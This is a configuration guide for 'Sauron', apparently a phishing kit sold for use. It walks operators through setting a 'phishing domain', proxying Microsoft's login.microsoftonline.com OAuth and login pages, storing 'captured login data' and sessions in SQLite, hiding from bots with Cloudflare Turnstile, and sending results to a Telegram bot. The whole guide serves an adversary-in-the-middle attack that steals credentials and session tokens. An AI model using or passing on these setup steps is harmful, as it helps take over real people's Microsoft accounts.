Configuration Guide

Server Configuration

config/serverConfig.json

Main server configuration file:

{
  "domain": "your-domain.com",
  "port": "443",
  "http_port": "80",
  "tls_cert": "./tls/cert.pem",
  "tls_key": "./tls/key.pem",
  "admin_panel": {
    "enabled": true,
    "username": "admin",
    "password": "changeme"
  },
  "logging": {
    "level": "info",
    "file": "./logs/system.log",
    "max_size": "100MB"
  }
}

domain

Your phishing domain (must match SSL certificate)

admin_panel

Web interface credentials (change default password!)

🔒 Secure Configuration System

Runtime Secret Management

Sauron uses an advanced secure configuration system that encrypts secrets in memory and automatically clears environment variables after startup for enhanced security.

✅ Security Features

  • AES-256-GCM encryption in memory
  • Environment variable auto-clearing
  • Automatic 24-hour key rotation
  • Secure fallback generation

🔑 Core Requirements

  • ADMIN_KEY (authentication)
  • TURNSTILE_SECRET (bot protection)
  • CLOUDFLARE_API_TOKEN (SSL certs)
  • SAURON_DOMAIN (target domain)

⚠️ Security Note: All environment variables are automatically cleared after loading to prevent exposure in process memory or environment dumps.

Environment Variables

Required Environment Variables

ADMIN_KEY

Master key for admin panel and encryption derivation

export ADMIN_KEY="your_secure_admin_key_here"

TURNSTILE_SECRET

Cloudflare Turnstile secret key for bot protection

export TURNSTILE_SECRET="0x123..."

LICENSE_TOKEN_SECRET

Secret for license validation and JWT signing

export LICENSE_TOKEN_SECRET="your_license_secret"

Tip: Use configure-env.sh script to set these automatically.

Database Configuration

SQLite Database (config.db)

Sauron uses SQLite for storing configuration and captured data.

Database Tables

  • credentials - Captured login data
  • sessions - Active user sessions
  • visits - Page visit tracking
  • config - System configuration

Database Operations

# View database
sqlite3 config.db ".tables"

# Backup database
cp config.db config.db.backup

# Reset database
rm config.db && ./sauron

Telegram Integration

Setting Up Telegram Bot

1. Create Bot

Message @BotFather on Telegram and use /newbot

2. Get Bot Token

Copy the bot token (format: 123456789:ABC-DEF1234567890)

3. Get Chat ID

Message your bot, then visit: https://api.telegram.org/bot<TOKEN>/getUpdates

Environment Variables:

export TELEGRAM_BOT_TOKEN="123456789:ABC-DEF1234567890"
export TELEGRAM_CHAT_ID="-1234567890"

SSL/TLS Configuration

Automatic Certificate Management

Sauron automatically obtains and renews SSL certificates using Let's Encrypt and Cloudflare DNS.

Certificate Files

  • tls/cert.pem - Certificate
  • tls/key.pem - Private key
  • tls/domains.go - Domain config

Manual Certificate

To use your own certificate:

# Copy your files
cp your-cert.pem tls/cert.pem
cp your-key.pem tls/key.pem

Note: Certificate domain must exactly match your SAURON_DOMAIN value.

Advanced Configuration

Proxy Settings

Configure MITM proxy behavior:

proxy/mitm.go Configuration:

  • Target host: login.microsoftonline.com
  • Intercept paths: /common/oauth2/*, /common/login/*
  • Pass-through: Static resources, CDN content

Logging Configuration

Log Files:

  • logs/system.log - Main system log
  • logs/bot.log - Telegram bot log
  • logs/emits.log - Event emissions

Log Levels:

  • debug - Verbose output
  • info - Standard logging
  • error - Errors only

Configuration Validation

Validate Your Setup

Quick Validation Commands:

# Check environment variables
./configure-env.sh check

# Test domain resolution
nslookup $SAURON_DOMAIN

# Validate SSL certificate
openssl s_client -connect $SAURON_DOMAIN:443 -servername $SAURON_DOMAIN

# Test Telegram bot
curl -s "https://api.telegram.org/bot$TELEGRAM_BOT_TOKEN/getMe"

Success Indicators:

  • • Domain resolves to your server IP
  • • SSL certificate is valid and trusted
  • • Telegram bot responds with bot info
  • • Service starts without errors